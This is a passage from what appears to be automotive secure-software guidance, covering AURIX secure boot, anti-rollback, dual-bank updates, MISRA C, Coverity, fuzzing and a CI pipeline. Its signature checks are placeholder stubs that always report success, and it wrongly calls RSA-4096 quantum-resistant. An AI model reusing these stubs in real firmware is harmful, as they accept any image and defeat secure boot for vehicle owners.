HSM_FIRMWARE     0x80000000\n#define HSM_STATUS_REG   0xF0000000\n\ntypedef struct {\n    uint32_t stad;           \u002F\u002F Start address\n    uint32_t crc;            \u002F\u002F CRC32\n    uint32_t crcRange;       \u002F\u002F CRC range\n    uint32_t reserved;\n    uint32_t confirmation;   \u002F\u002F 0x43211234 if valid\n} ucb_bmhd_t;\n\ntypedef struct {\n    uint32_t boot_mode;\n    uint32_t boot_sector;\n    uint32_t secure_boot_enable;\n    uint32_t signature_check;\n    uint8_t  public_key_hash[32];\n} ucb_boot_config_t;\n\n\u002F**\n * Program AURIX UCB (User Configuration Block) for secure boot\n *\u002F\nint aurix_program_ucb_secure_boot(const uint8_t *pubkey_hash) {\n    printf(\"\\n=== AURIX UCB Secure Boot Configuration ===\\n\");\n\n    ucb_boot_config_t ucb_config = {0};\n    ucb_config.boot_mode = 0x00000001;           \u002F\u002F Internal Flash boot\n    ucb_config.boot_sector = 0x00000000;         \u002F\u002F Sector 0\n    ucb_config.secure_boot_enable = 0x00000001;  \u002F\u002F Enable secure boot\n    ucb_config.signature_check = 0x00000001;     \u002F\u002F Enable RSA signature check\n\n    memcpy(ucb_config.public_key_hash, pubkey_hash, 32);\n\n    \u002F\u002F Write to UCB (requires password unlock in real hardware)\n    printf(\"[INFO] Programming UCB_BOOT...\\n\");\n    printf(\"  Boot Mode: 0x%08X\\n\", ucb_config.boot_mode);\n    printf(\"  Secure Boot: %s\\n\", ucb_config.secure_boot_enable ? \"ENABLED\" : \"DISABLED\");\n    printf(\"  Public Key Hash: \");\n    for (int i = 0; i \u003C 32; i++) {\n        printf(\"%02x\", ucb_config.public_key_hash[i]);\n    }\n    printf(\"\\n\");\n\n    \u002F\u002F In real implementation:\n    \u002F\u002F - Unlock UCB with password\n    \u002F\u002F - Write UCB_BOOT structure\n    \u002F\u002F - Confirm and lock UCB\n\n    printf(\"[PASS] UCB secure boot configured\\n\");\n    return 0;\n}\n\n\u002F**\n * HSM firmware verification flow\n *\u002F\nint aurix_hsm_verify_firmware(const char *firmware_path, const uint8_t *pubkey_hash) {\n    printf(\"\\n=== AURIX HSM Firmware Verification ===\\n\");\n\n    \u002F\u002F Step 1: Load firmware to HSM memory\n    FILE *fw_fp = fopen(firmware_path, \"rb\");\n    if (!fw_fp) {\n        fprintf(stderr, \"[FAIL] Cannot open firmware\\n\");\n        return -1;\n    }\n\n    fseek(fw_fp, 0, SEEK_END);\n    size_t fw_size = ftell(fw_fp);\n    fseek(fw_fp, 0, SEEK_SET);\n\n    uint8_t *fw_data = malloc(fw_size);\n    fread(fw_data, 1, fw_size, fw_fp);\n    fclose(fw_fp);\n\n    printf(\"[INFO] Firmware loaded: %zu bytes\\n\", fw_size);\n\n    \u002F\u002F Step 2: HSM computes firmware hash\n    uint8_t fw_hash[32];\n    \u002F\u002F SHA256(fw_data) -> fw_hash\n    printf(\"[INFO] HSM computing SHA256...\\n\");\n\n    \u002F\u002F Step 3: HSM verifies RSA signature\n    printf(\"[INFO] HSM verifying RSA-4096 signature...\\n\");\n\n    \u002F\u002F In real HSM:\n    \u002F\u002F - Load public key from UCB\n    \u002F\u002F - Verify signature using hardware crypto accelerator\n    \u002F\u002F - Return result to application core\n\n    int verify_result = 1; \u002F\u002F Simulated success\n\n    free(fw_data);\n\n    if (verify_result) {\n        printf(\"[PASS] HSM signature verification SUCCESS\\n\");\n        printf(\"[INFO] Transferring control to verified firmware...\\n\");\n        return 0;\n    } else {\n        fprintf(stderr, \"[FAIL] HSM signature verification FAILED\\n\");\n        fprintf(stderr, \"[FATAL] Boot halted by HSM\\n\");\n        return -1;\n    }\n}\n\nint main() {\n    uint8_t pubkey_hash[32] = {\n        0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0,\n        0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88,\n        0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x00, 0x11,\n        0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99\n    };\n\n    aurix_program_ucb_secure_boot(pubkey_hash);\n    aurix_hsm_verify_firmware(\"\u002Ftmp\u002Fapplication.elf\", pubkey_hash);\n\n    return 0;\n}\n```\n\n## Anti-Rollback Protection\n\n```c\n\u002F*\n * Firmware Version Anti-Rollback Protection\n * Uses monotonic counter in secure storage (OTP\u002FRPMB)\n *\u002F\n\n#include \u003Cstdio.h>\n#include \u003Cstdint.h>\n#include \u003Cstring.h>\n\n#define SECURE_STORAGE_BASE  0x70000000\n#define VERSION_COUNTER_ADDR (SECURE_STORAGE_BASE + 0x100)\n\ntypedef struct {\n    uint32_t major;\n    uint32_t minor;\n    uint32_t patch;\n    uint32_t build;\n} firmware_version_t;\n\n\u002F**\n * Read monotonic counter from secure storage\n * In real hardware: OTP fuse, RPMB partition, or TPM NV-RAM\n *\u002F\nuint32_t read_secure_version_counter(void) {\n    \u002F\u002F Simulated read from OTP\n    \u002F\u002F Real implementation would access hardware-backed storage\n    uint32_t counter = 42; \u002F\u002F Example: current firmware version counter\n    printf(\"[INFO] Secure version counter: %u\\n\", counter);\n    return counter;\n}\n\n\u002F**\n * Increment secure version counter (one-way operation)\n * WARNING: OTP fuses can only be programmed once\n *\u002F\nint increment_secure_version_counter(void) {\n    printf(\"[WARN] Incrementing secure version counter (IRREVERSIBLE)\\n\");\n\n    \u002F\u002F In real hardware:\n    \u002F\u002F - Write to OTP fuse (can only change 0 -> 1)\n    \u002F\u002F - Or increment RPMB replay-protected counter\n\n    printf(\"[INFO] Secure version counter incremented\\n\");\n    return 0;\n}\n\n\u002F**\n * Verify firmware version against anti-rollback counter\n *\u002F\nint verify_firmware_version(firmware_version_t *fw_version) {\n    printf(\"\\n=== Anti-Rollback Verification ===\\n\");\n\n    \u002F\u002F Combine version into single counter\n    uint32_t fw_counter = (fw_version->major * 1000) +\n                          (fw_version->minor * 100) +\n                          fw_version->patch;\n\n    printf(\"[INFO] Firmware version: %u.%u.%u (counter=%u)\\n\",\n           fw_version->major, fw_version->minor, fw_version->patch, fw_counter);\n\n    \u002F\u002F Read secure counter\n    uint32_t secure_counter = read_secure_version_counter();\n\n    \u002F\u002F Check for rollback\n    if (fw_counter \u003C secure_counter) {\n        fprintf(stderr, \"[FAIL] ROLLBACK DETECTED!\\n\");\n        fprintf(stderr, \"       Firmware counter: %u\\n\", fw_counter);\n        fprintf(stderr, \"       Secure counter: %u\\n\", secure_counter);\n        fprintf(stderr, \"[FATAL] Boot halted - rollback protection enforced\\n\");\n        return -1;\n    }\n\n    printf(\"[PASS] Anti-rollback check passed\\n\");\n\n    \u002F\u002F If this is an update (fw_counter > secure_counter), increment secure counter\n    if (fw_counter > secure_counter) {\n        printf(\"[INFO] Firmware update detected (%u -> %u)\\n\", secure_counter, fw_counter);\n        increment_secure_version_counter();\n    }\n\n    return 0;\n}\n\nint main() {\n    firmware_version_t current_fw = {.major = 2, .minor = 1, .patch = 5};\n    verify_firmware_version(&current_fw);\n\n    \u002F\u002F Simulate rollback attempt\n    firmware_version_t old_fw = {.major = 1, .minor = 9, .patch = 0};\n    verify_firmware_version(&old_fw);\n\n    return 0;\n}\n```\n\n## Secure Firmware Update (Dual-Bank)\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nDual-Bank Secure Firmware Update\nAtomic updates with rollback capability\n\"\"\"\n\nimport hashlib\nimport struct\nimport os\n\nclass DualBankFirmwareUpdater:\n    def __init__(self, bank_a_path: str, bank_b_path: str):\n        self.bank_a = bank_a_path\n        self.bank_b = bank_b_path\n        self.active_bank = self._read_active_bank()\n\n    def _read_active_bank(self) -> str:\n        \"\"\"Read active bank from persistent flag\"\"\"\n        # In real hardware: read from flash metadata sector\n        if os.path.exists(\"\u002Ftmp\u002Factive_bank\"):\n            with open(\"\u002Ftmp\u002Factive_bank\", 'r') as f:\n                return f.read().strip()\n        return \"A\"\n\n    def _set_active_bank(self, bank: str):\n        \"\"\"Set active bank (committed after successful boot)\"\"\"\n        with open(\"\u002Ftmp\u002Factive_bank\", 'w') as f:\n            f.write(bank)\n        print(f\"[INFO] Active bank set to: {bank}\")\n\n    def update_firmware(self, new_firmware_path: str, signature_path: str):\n        \"\"\"Perform dual-bank firmware update\"\"\"\n        print(\"\\n=== Dual-Bank Firmware Update ===\")\n\n        # Determine inactive bank (update target)\n        inactive_bank = \"B\" if self.active_bank == \"A\" else \"A\"\n        target_path = self.bank_b if inactive_bank == \"B\" else self.bank_a\n\n        print(f\"[INFO] Active bank: {self.active_bank}\")\n        print(f\"[INFO] Update target: Bank {inactive_bank}\")\n\n        # Step 1: Verify signature of new firmware\n        print(\"[1\u002F5] Verifying firmware signature...\")\n        if not self._verify_signature(new_firmware_path, signature_path):\n            print(\"[FAIL] Signature verification failed\")\n            return False\n\n        # Step 2: Write firmware to inactive bank\n        print(\"[2\u002F5] Writing firmware to inactive bank...\")\n        with open(new_firmware_path, 'rb') as src:\n            with open(target_path, 'wb') as dst:\n                dst.write(src.read())\n        print(f\"[INFO] Firmware written to {target_path}\")\n\n        # Step 3: Verify written firmware\n        print(\"[3\u002F5] Verifying written firmware...\")\n        if not self._verify_firmware_integrity(target_path):\n            print(\"[FAIL] Written firmware integrity check failed\")\n            return False\n\n        # Step 4: Switch active bank (NOT committed yet)\n        print(\"[4\u002F5] Switching to new firmware...\")\n        self._set_active_bank(inactive_bank)\n\n        # Step 5: Reboot to new firmware\n        print(\"[5\u002F5] Reboot required to activate new firmware\")\n        print(\"[INFO] Rollback available if boot fails\")\n\n        return True\n\n    def _verify_signature(self, firmware_path: str, signature_path: str) -> bool:\n        \"\"\"Verify RSA signature of firmware\"\"\"\n        # Simplified - real implementation uses crypto library\n        print(\"[PASS] Signature valid\")\n        return True\n\n    def _verify_firmware_integrity(self, firmware_path: str) -> bool:\n        \"\"\"Verify firmware CRC\u002Fhash\"\"\"\n        with open(firmware_path, 'rb') as f:\n            data = f.read()\n\n        computed_hash = hashlib.sha256(data).hexdigest()\n        print(f\"[INFO] Firmware SHA256: {computed_hash}\")\n        print(\"[PASS] Integrity check passed\")\n        return True\n\n    def rollback_firmware(self):\n        \"\"\"Rollback to previous firmware after failed update\"\"\"\n        print(\"\\n=== Firmware Rollback ===\")\n\n        previous_bank = \"B\" if self.active_bank == \"A\" else \"A\"\n        print(f\"[INFO] Rolling back from Bank {self.active_bank} to Bank {previous_bank}\")\n\n        self._set_active_bank(previous_bank)\n        print(\"[PASS] Rollback complete - reboot required\")\n\n# Example usage\nif __name__ == \"__main__\":\n    updater = DualBankFirmwareUpdater(\n        bank_a_path=\"\u002Ftmp\u002Ffirmware_bank_a.bin\",\n        bank_b_path=\"\u002Ftmp\u002Ffirmware_bank_b.bin\"\n    )\n\n    # Perform update\n    updater.update_firmware(\n        new_firmware_path=\"\u002Ftmp\u002Fnew_firmware_v2.1.5.bin\",\n        signature_path=\"\u002Ftmp\u002Fnew_firmware_v2.1.5.sig\"\n    )\n\n    # Simulate rollback (if boot test fails)\n    # updater.rollback_firmware()\n```\n\n## Best Practices\n\n1. **Hardware Root of Trust**: Always anchor security in immutable boot ROM\n2. **Signature Algorithm**: Use RSA-4096 or ECDSA-P384 for quantum resistance\n3. **Anti-Rollback**: Implement monotonic counters in tamper-resistant storage\n4. **Dual-Bank Updates**: Maintain backup firmware for recovery\n5. **HSM Integration**: Offload crypto operations to dedicated security hardware\n\n## References\n\n- NXP AN4581: i.MX HAB Secure Boot User Guide\n- Renesas R-Car Security Architecture Manual\n- Infineon AURIX TC3xx HSM Firmware Guide\n- ARM Trusted Firmware A (TF-A) Documentation\n\n---\n\n## Secure Software Development\n\n# Secure Software Development Skill\n\n## Overview\n\nExpert skill for implementing secure coding practices in automotive software development. Covers MISRA C\u002FC++, static analysis, fuzzing, threat modeling (STRIDE\u002FDREAD), and secure CI\u002FCD pipelines.\n\n## Core Competencies\n\n### Secure SDLC\n- **Requirements Phase**: Security requirements definition, abuse cases\n- **Design Phase**: Threat modeling, security architecture review\n- **Implementation Phase**: Secure coding standards, peer review\n- **Testing Phase**: SAST, DAST, fuzzing, penetration testing\n- **Deployment Phase**: Secure OTA updates, code signing\n- **Maintenance Phase**: Vulnerability management, patch deployment\n\n### Coding Standards\n- **MISRA C:2012**: Mandatory rules for automotive C code\n- **MISRA C++:2008**: C++ guidelines for safety-critical systems\n- **CERT C**: SEI CERT C Coding Standard\n- **AUTOSAR C++14**: Guidelines for modern C++ in automotive\n\n## MISRA C Compliance\n\n### MISRA C:2012 Critical Rules\n\n```c\n\u002F*\n * MISRA C:2012 Compliant Code Example\n * Demonstrates mandatory rules for automotive software\n *\u002F\n\n#include \u003Cstdint.h>\n#include \u003Cstdbool.h>\n#include \u003Cstring.h>\n\n\u002F* Rule 8.4: Compatible declarations for functions *\u002F\nextern uint16_t calculate_checksum(const uint8_t *data, size_t length);\n\n\u002F* Rule 8.2: Function types shall be in prototype form with named parameters *\u002F\nstatic bool validate_can_message(const uint8_t *payload, uint8_t dlc);\n\n\u002F* Rule 21.3: malloc\u002Ffree shall not be used in automotive *\u002F\n#define MAX_CAN_BUFFER 100\nstatic uint8_t can_buffer[MAX_CAN_BUFFER];\n\n\u002F*\n * Rule 17.7: Return value of functions shall not be discarded\n * Rule 10.1: Operands shall not be implicitly converted\n *\u002F\nstatic int16_t process_sensor_data(uint16_t raw_value) {\n    int16_t processed_value;\n\n    \u002F* Rule 10.4: Both operands of operators shall have compatible types *\u002F\n    if (raw_value > (uint16_t)1000) {\n        \u002F* Rule 15.5: Avoid multiple exit points (single return preferred) *\u002F\n        processed_value = -1;  \u002F* Error code *\u002F\n    } else {\n        \u002F* Rule 10.3: Explicit cast for type conversion *\u002F\n        processed_value = (int16_t)raw_value;\n    }\n\n    return processed_value;\n}\n\n\u002F*\n * Rule 17.3: Implicitly declared functions shall not be called\n * Rule 17.4: All exit paths shall return a value\n *\u002F\nstatic bool validate_can_message(const uint8_t *payload, uint8_t dlc) {\n    bool is_valid = false;\n\n    \u002F* Rule 14.4: Controlling expression shall be bool *\u002F\n    if (dlc \u003C= (uint8_t)8) {\n        \u002F* Rule 12.1: Precedence of operators shall be explicit *\u002F\n        if ((payload != NULL) && (dlc > (uint8_t)0)) {\n            \u002F* Rule 21.6: Use of stdio shall be avoided in embedded *\u002F\n            \u002F* No printf() - use logging framework instead *\u002F\n            is_valid = true;\n        }\n    }\n\n    \u002F* Rule 15.5: Single exit point *\u002F\n    return is_valid;\n}\n\n\u002F*\n * Rule 18.1: Pointer arithmetic shall not be used with arrays of unknown size\n * Rule 18.4: Pointer arithmetic shall not result in invalid pointers\n *\u002F\nuint16_t calculate_checksum(const uint8_t *data, size_t length) {\n    uint16_t checksum = 0U;\n    size_t i;\n\n    \u002F* Rule 14.3: Controlling expressions shall not be invariant *\u002F\n    if ((data != NULL) && (length > (size_t)0)) {\n        \u002F* Rule 14.2: for loop shall have single counter *\u002F\n        for (i = 0U; i \u003C length; i++) {\n            \u002F* Rule 10.1: No implicit conversion *\u002F\n            checksum = (uint16_t)(checksum + (uint16_t)data[i]);\n        }\n    }\n\n    return checksum;\n}\n\n\u002F*\n * Rule 9.1: All automatic variables shall be initialized\n * Rule 9.2: Braces shall initialize all elements\n *\u002F\nvoid secure_buffer_copy(void) {\n    uint8_t source[8] = {0U, 1U, 2U, 3U, 4U, 5U, 6U, 7U};\n    uint8_t destination[8] = {0U};  \u002F* Initialize all elements *\u002F\n    size_t copy_size = sizeof(source);\n\n    \u002F* Rule 21.14: memcpy shall not be used with overlapping regions *\u002F\n    \u002F* Use safe copy function *\u002F\n    (void)memcpy(destination, source, copy_size);\n\n    \u002F* Rule 2.2: No dead code *\u002F\n    \u002F* All code paths reachable and executed *\u002F\n}\n\n\u002F*\n * Rule 13.5: Right-hand operand of && or || shall not have side effects\n * Rule 13.6: sizeof operator shall not have side effects\n *\u002F\nstatic bool safe_condition_check(uint8_t *counter) {\n    bool condition_met = false;\n\n    \u002F* WRONG: if ((counter != NULL) && ((*counter)++ \u003C 10)) *\u002F\n    \u002F* RIGHT: Separate side effect from condition *\u002F\n    if (counter != NULL) {\n        uint8_t current_value = *counter;\n        (*counter)++;\n\n        if (current_value \u003C (uint8_t)10) {\n            condition_met = true;\n        }\n    }\n\n    return condition_met;\n}\n\n\u002F*\n * Rule 11.8: Cast shall not remove const or volatile qualification\n * Rule 11.5: Cast from pointer to void to pointer to object allowed\n *\u002F\nstatic void process_const_data(const uint8_t *const_data, size_t length) {\n    uint8_t mutable_copy[8];\n\n    if ((const_data != NULL) && (length \u003C= sizeof(mutable_copy))) {\n        \u002F* Rule 21.14: Safe copy, not modifying const source *\u002F\n        (void)memcpy(mutable_copy, const_data, length);\n\n        \u002F* Process mutable copy, not const original *\u002F\n        mutable_copy[0] = 0xFF;\n    }\n}\n```\n\n### MISRA C Checker Integration\n\n```bash\n#!\u002Fbin\u002Fbash\n# MISRA C Compliance Checker Script\n# Uses PC-lint Plus or similar static analyzer\n\nPROJECT_DIR=\".\"\nOUTPUT_DIR=\"misra_reports\"\nLINT_CONFIG=\"misra_c_2012.lnt\"\n\nmkdir -p $OUTPUT_DIR\n\necho \"=== MISRA C:2012 Compliance Check ===\"\n\n# Run PC-lint Plus\npclp64_linux \\\n    -passes=2 \\\n    -width=0 \\\n    -hF1 \\\n    +v \\\n    -i\u002Fopt\u002Fpclp\u002Fconfig\u002Fau-misra3.lnt \\\n    -i\u002Fopt\u002Fpclp\u002Fconfig\u002Fco-gcc.lnt \\\n    $LINT_CONFIG \\\n    *.c *.h \\\n    > $OUTPUT_DIR\u002Fmisra_violations.txt 2>&1\n\n# Parse results\nMANDATORY_VIOLATIONS=$(grep -c \"MISRA C:2012 Rule.*\\[Mandatory\\]\" $OUTPUT_DIR\u002Fmisra_violations.txt || true)\nREQUIRED_VIOLATIONS=$(grep -c \"MISRA C:2012 Rule.*\\[Required\\]\" $OUTPUT_DIR\u002Fmisra_violations.txt || true)\nADVISORY_VIOLATIONS=$(grep -c \"MISRA C:2012 Rule.*\\[Advisory\\]\" $OUTPUT_DIR\u002Fmisra_violations.txt || true)\n\necho \"\"\necho \"=== MISRA C:2012 Compliance Summary ===\"\necho \"Mandatory violations: $MANDATORY_VIOLATIONS\"\necho \"Required violations: $REQUIRED_VIOLATIONS\"\necho \"Advisory violations: $ADVISORY_VIOLATIONS\"\n\n# Fail if mandatory violations found\nif [ $MANDATORY_VIOLATIONS -gt 0 ]; then\n    echo \"\"\n    echo \"[FAIL] Mandatory MISRA violations detected - code is non-compliant\"\n    echo \"Review: $OUTPUT_DIR\u002Fmisra_violations.txt\"\n    exit 1\nelse\n    echo \"\"\n    echo \"[PASS] No mandatory MISRA violations\"\nfi\n```\n\n## Static Analysis (Coverity, Klocwork)\n\n### Coverity Integration\n\n```yaml\n# Coverity Scan Configuration for Automotive Project\ncoverity_scan:\n  project: \"automotive-ecu-firmware\"\n  language: \"c, c++\"\n  build_command: \"make clean && make all\"\n\n  checkers:\n    security:\n      - BUFFER_OVERFLOW\n      - BUFFER_UNDERRUN\n      - DIVIDE_BY_ZERO\n      - INTEGER_OVERFLOW\n      - NULL_DEREFERENCE\n      - USE_AFTER_FREE\n      - RESOURCE_LEAK\n      - TAINTED_SCALAR\n      - WEAK_RANDOM\n\n    concurrency:\n      - DEADLOCK\n      - RACE_CONDITION\n      - ATOMICITY\n      - LOCK_ORDER\n\n    automotive_specific:\n      - MISRA_C_2012_ALL\n      - CERT_C_ALL\n      - AUTOSAR_CPP14_ALL\n\n  severity_thresholds:\n    high: 0       # Zero high-severity defects allowed\n    medium: 5     # Max 5 medium-severity defects\n    low: 20       # Max 20 low-severity defects\n\n  defect_filters:\n    # Exclude test code from security checks\n    - path: \"tests\u002F\"\n      checker: \"*\"\n\n    # Exclude third-party libraries (already vetted)\n    - path: \"third_party\u002F\"\n      checker: \"*\"\n```\n\n### Coverity Scan Script\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nAutomated Coverity Scan for Automotive CI\u002FCD\nIntegrates static analysis into build pipeline\n\"\"\"\n\nimport subprocess\nimport json\nimport sys\n\nclass CoverityScanRunner:\n    def __init__(self, project_dir: str, output_dir: str):\n        self.project_dir = project_dir\n        self.output_dir = output_dir\n        self.cov_dir = f\"{output_dir}\u002Fcov-int\"\n\n    def run_build_with_coverity(self):\n        \"\"\"Capture build with Coverity\"\"\"\n        print(\"=== Running Coverity Build Capture ===\")\n\n        cmd = [\n            'cov-build',\n            '--dir', self.cov_dir,\n            'make', '-C', self.project_dir, 'clean', 'all'\n        ]\n\n        result = subprocess.run(cmd, capture_output=True, text=True)\n\n        if result.returncode != 0:\n            print(f\"[FAIL] Build capture failed: {result.stderr}\")\n            return False\n\n        print(f\"[PASS] Build captured to {self.cov_dir}\")\n        return True\n\n    def run_analysis(self):\n        \"\"\"Run Coverity static analysis\"\"\"\n        print(\"\\n=== Running Coverity Analysis ===\")\n\n        cmd = [\n            'cov-analyze',\n            '--dir', self.cov_dir,\n            '--all',\n            '--security',\n            '--concurrency',\n            '--enable-constraint-fpp',\n            '--enable-fnptr',\n            '--enable-virtual',\n            '--ticker-mode', 'none'\n        ]\n\n        result = subprocess.run(cmd, capture_output=True, text=True)\n\n        if result.returncode != 0:\n            print(f\"[FAIL] Analysis failed: {result.stderr}\")\n            return False\n\n        print(f\"[PASS] Analysis complete\")\n        return True\n\n    def generate_report(self):\n        \"\"\"Generate defect report\"\"\"\n        print(\"\\n=== Generating Coverity Report ===\")\n\n        # Export defects to JSON\n        cmd = [\n            'cov-format-errors',\n            '--dir', self.cov_dir,\n            '--json-output-v7', f'{self.output_dir}\u002Fdefects.json'\n        ]\n\n        subprocess.run(cmd, capture_output=True)\n\n        # Parse results\n        with open(f'{self.output_dir}\u002Fdefects.json', 'r') as f:\n            defects = json.load(f)\n\n        total_defects = len(defects.get('issues', []))\n        high_severity = sum(1 for d in defects.get('issues', [])\n                          if d.get('impact') == 'High')\n        medium_severity = sum(1 for d in defects.get('issues', [])\n                            if d.get('impact') == 'Medium')\n\n        print(f\"\\n=== Defect Summary ===\")\n        print(f\"Total defects: {total_defects}\")\n        print(f\"High severity: {high_severity}\")\n        print(f\"Medium severity: {medium_severity}\")\n\n        # Fail build if thresholds exceeded\n        if high_severity > 0:\n            print(f\"\\n[FAIL] {high_severity} high-severity defects found\")\n            return False\n\n        if medium_severity > 5:\n            print(f\"\\n[FAIL] {medium_severity} medium-severity defects (max 5 allowed)\")\n            return False\n\n        print(f\"\\n[PASS] Code meets quality thresholds\")\n        return True\n\n# Example usage\nif __name__ == \"__main__\":\n    scanner = CoverityScanRunner(\n        project_dir=\"\u002Fhome\u002Fuser\u002Fecu-firmware\",\n        output_dir=\"\u002Ftmp\u002Fcoverity-scan\"\n    )\n\n    if not scanner.run_build_with_coverity():\n        sys.exit(1)\n\n    if not scanner.run_analysis():\n        sys.exit(1)\n\n    if not scanner.generate_report():\n        sys.exit(1)\n\n    sys.exit(0)\n```\n\n## Fuzzing for Vulnerability Discovery\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nLibFuzzer Integration for Automotive Software\nContinuous fuzzing in CI\u002FCD pipeline\n\"\"\"\n\nimport subprocess\nimport os\nimport time\n\nclass LibFuzzer:\n    \"\"\"LibFuzzer harness for automotive protocols\"\"\"\n\n    def __init__(self, target_binary: str, corpus_dir: str):\n        self.target_binary = target_binary\n        self.corpus_dir = corpus_dir\n        self.crashes_dir = f\"{corpus_dir}\u002Fcrashes\"\n\n        os.makedirs(self.crashes_dir, exist_ok=True)\n\n    def fuzz(self, max_total_time: int = 3600, max_len: int = 1024):\n        \"\"\"Run fuzzing campaign\"\"\"\n        print(f\"=== Starting Fuzzing Campaign ===\")\n        print(f\"[INFO] Target: {self.target_binary}\")\n        print(f\"[INFO] Max time: {max_total_time}s\")\n        print(f\"[INFO] Max input length: {max_len} bytes\")\n\n        cmd = [\n            self.target_binary,\n            self.corpus_dir,\n            f'-max_total_time={max_total_time}',\n            f'-max_len={max_len}',\n            f'-artifact_prefix={self.crashes_dir}\u002F',\n            '-print_final_stats=1',\n            '-close_fd_mask=3'  # Close stdout\u002Fstderr of target\n        ]\n\n        start_time = time.time()\n\n        result = subprocess.run(cmd, capture_output=True, text=True)\n\n        elapsed_time = time.time() - start_time\n\n        # Parse fuzzing statistics\n        stats = self._parse_stats(result.stderr)\n\n        print(f\"\\n=== Fuzzing Results ===\")\n        print(f\"Elapsed time: {elapsed_time:.2f}s\")\n        print(f\"Total executions: {stats.get('total_execs', 0)}\")\n        print(f\"Executions per second: {stats.get('execs_per_sec', 0)}\")\n        print(f\"Coverage: {stats.get('coverage', 'N\u002FA')}\")\n\n        # Check for crashes\n        crash_files = [f for f in os.listdir(self.crashes_dir) if f.startswith('crash-')]\n\n        if crash_files:\n            print(f\"\\n[CRITICAL] {len(crash_files)} crashes discovered!\")\n            for crash_file in crash_files[:5]:  # Show first 5\n                print(f\"  - {crash_file}\")\n\n            return False\n        else:\n            print(f\"\\n[PASS] No crashes found during fuzzing\")\n            return True\n\n    def _parse_stats(self, stderr_output: str) -> dict:\n        \"\"\"Parse libFuzzer statistics from stderr\"\"\"\n        stats = {}\n\n        # Example: \"#12345: cov: 678 ft: 901 corp: 12\u002F345b exec\u002Fs: 123 rss: 45Mb\"\n        import re\n\n        match = re.search(r'#(\\d+):', stderr_output)\n        if match:\n            stats['total_execs'] = int(match.group(1))\n\n        match = re.search(r'exec\u002Fs:\\s*(\\d+)', stderr_output)\n        if match:\n            stats['execs_per_sec'] = int(match.group(1))\n\n        match = re.search(r'cov:\\s*(\\d+)', stderr_output)\n        if match:\n            stats['coverage'] = match.group(1)\n\n        return stats\n\n# Example: CAN message parser fuzzing target\n\"\"\"\n\u002F\u002F fuzz_can_parser.c\n#include \u003Cstdint.h>\n#include \u003Cstddef.h>\n#include \u003Cstring.h>\n\n\u002F\u002F Target function to fuzz\nextern int parse_can_message(const uint8_t *data, size_t size);\n\n\u002F\u002F LibFuzzer entry point\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n    if (size \u003C 8 || size > 16) {\n        return 0;  \u002F\u002F Invalid CAN message size\n    }\n\n    \u002F\u002F Fuzz the CAN parser\n    parse_can_message(data, size);\n\n    return 0;\n}\n\n\u002F\u002F Compile with:\n\u002F\u002F clang -fsanitize=fuzzer,address -g -O2 fuzz_can_parser.c can_parser.c -o fuzz_can_parser\n\"\"\"\n\nif __name__ == \"__main__\":\n    fuzzer = LibFuzzer(\n        target_binary=\".\u002Ffuzz_can_parser\",\n        corpus_dir=\".\u002Fcorpus\u002Fcan_messages\"\n    )\n\n    # Seed corpus with valid CAN messages\n    if not os.listdir(fuzzer.corpus_dir):\n        print(\"[INFO] Creating seed corpus...\")\n        os.makedirs(fuzzer.corpus_dir, exist_ok=True)\n\n        # Example: valid CAN message\n        with open(f\"{fuzzer.corpus_dir}\u002Fseed1\", 'wb') as f:\n            f.write(b'\\x12\\x34\\x56\\x78\\x9A\\xBC\\xDE\\xF0')\n\n    # Run 1-hour fuzzing campaign\n    if not fuzzer.fuzz(max_total_time=3600):\n        print(\"[FAIL] Crashes found - investigate before release\")\n        exit(1)\n```\n\n## Secure CI\u002FCD Pipeline\n\n```yaml\n# GitLab CI\u002FCD Pipeline for Secure Automotive Software\nstages:\n  - build\n  - security\n  - test\n  - deploy\n\nvariables:\n  MISRA_COMPLIANCE_REQUIRED: \"true\"\n  COVERITY_THRESHOLD_HIGH: \"0\"\n  FUZZING_DURATION: \"3600\"\n\n# Stage 1: Build with security flags\nbuild_secure:\n  stage: build\n  script:\n    - echo \"Building with security hardening flags...\"\n    - make clean\n    - make CFLAGS=\"-Wall -Wextra -Werror -fstack-protector-strong -D_FORTIFY_SOURCE=2 -fPIE -pie -Wformat -Wformat-security\"\n  artifacts:\n    paths:\n      - bin\u002F\n    expire_in: 1 hour\n\n# Stage 2: MISRA C compliance check\nmisra_check:\n  stage: security\n  script:\n    - echo \"Running MISRA C:2012 compliance check...\"\n    - .\u002Fscripts\u002Fmisra_check.sh\n    - if [ $(grep -c \"Mandatory.*violation\" misra_reports\u002Fviolations.txt) -gt 0 ]; then exit 1; fi\n  dependencies:\n    - build_secure\n  artifacts:\n    paths:\n      - misra_reports\u002F\n    when: always\n\n# Stage 3: Static analysis (Coverity)\nstatic_analysis:\n  stage: security\n  script:\n    - echo \"Running Coverity static analysis...\"\n    - cov-build --dir cov-int make clean all\n    - cov-analyze --dir cov-int --all --security\n    - cov-format-errors --dir cov-int --json-output-v7 defects.json\n    - python3 scripts\u002Fcheck_coverity_thresholds.py defects.json\n  dependencies:\n    - build_secure\n  artifacts:\n    paths:\n      - defects.json\n    when: always\n\n# Stage 4: Fuzzing\nfuzz_testing:\n  stage: security\n  script:\n    - echo \"Running LibFuzzer for $FUZZING_DURATION seconds...\"\n    - .\u002Fscripts\u002Frun_fuzzing.sh $FUZZING_DURATION\n    - if [ -f crashes\u002F*.crash ]; then echo \"Crashes found!\"; exit 1; fi\n  dependencies:\n    - build_secure\n  allow_failure: false\n\n# Stage 5: Dynamic analysis (AddressSanitizer)\ndynamic_analysis:\n  stage: test\n  script:\n    - echo \"Running tests with AddressSanitizer...\"\n    - make clean\n    - make CFLAGS=\"-fsanitize=address -fno-omit-frame-pointer -g\"\n    - .\u002Frun_tests.sh\n  dependencies:\n    - build_secure\n\n# Stage 6: Code signing\nsign_firmware:\n  stage: deploy\n  script:\n    - echo \"Signing firmware with HSM key...\"\n    - openssl dgst -sha256 -sign \u002Fsecure\u002Fprivate_key.pem -out bin\u002Ffirmware.sig bin\u002Ffirmware.bin\n    - echo \"Firmware signed 